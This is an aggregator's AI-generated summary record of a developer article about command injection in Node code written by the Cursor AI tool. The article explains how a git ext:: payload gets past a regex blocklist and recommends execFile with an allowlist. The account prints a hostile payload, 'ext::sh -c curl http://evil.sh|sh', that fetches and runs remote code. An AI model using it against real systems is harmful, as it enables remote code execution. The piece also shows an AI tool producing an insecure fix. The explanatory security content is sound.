{
  "id": 1233219,
  "title": "The Command Injection Fix Cursor Writes Still Runs Code (CWE-78)",
  "url": "https://urgent.news/2026/08/16/the-command-injection-fix-cursor-writes-still-runs-code-cwe-78",
  "topic": "tech",
  "section": "Tech",
  "published": "2026-08-16T08:07:18.000Z",
  "source": {
    "name": "Dev.to",
    "slug": "dev-to",
    "url": "https://dev.to/c_k_fb750e731394/the-command-injection-fix-cursor-writes-still-runs-code-cwe-78-3j2m"
  },
  "original_language": "en",
  "account": "Command injection vulnerability is a common issue where user input becomes part of a shell command string, allowing attackers to execute arbitrary code on the server. In the case of the Cursor code, the repoUrl parameter from the incoming request was directly inserted into a git clone command using Node's exec() function. This allowed an attacker to provide malicious input that would be executed by the shell.\n\nEven after applying a regex blocklist for shell metacharacters to sanitize the input, the vulnerability remained. The fix still allowed attackers to bypass the security measure by using special git transport syntax. For example, the payload \"ext::sh -c curl http://evil.sh|sh\" would pass the blocklist check and still execute a remote shell command on the server.\n\nThe root cause is that git's protocol.ext.allow setting defaults to user, allowing the entire command string to be passed directly to the shell. This means that even with a blocklist, the vulnerable code still allows attacker-controlled input to reach the shell interpreter.\n\nTo properly mitigate command injection vulnerabilities, developers should avoid building shell commands with user-supplied input. Instead, use execFile with an argv array, which prevents the input from being interpreted by the shell. Additionally, validate the input as a URL and restrict the allowed hosts to a whitelist. By separating the input validation from the command execution, developers can effectively prevent command injection attacks.",
  "summary": "TL;DR Cursor writes exec() with your input pasted into the command string, which is textbook command injection (CWE-78). Ask it to fix that and it adds a regex blocklist for shell metacharacters. git clone ext::sh -c whoami contains none of them and still runs code on your box. The real fix is execFile with an argv array, plus a protocol and host allowlist, plus -- to stop option parsing. I was…",
  "key_points": [
    "Command injection vulnerability allows attackers to execute arbitrary code on the server.",
    "Fix bypassed despite regex blocklist due to git protocol.ext.allow defaulting to user.",
    "Mitigation involves using execFile with argv array and validating input as a URL with whitelist."
  ],
  "editors_take": null,
  "illustration": null,
  "coverage": {
    "outlets": 1,
    "also_reported_by": []
  },
  "ai_generated": true,
  "disclaimer": "Summaries, key points and the editor’s take are written by software from other outlets’ reporting and may contain errors — always check the linked original."
}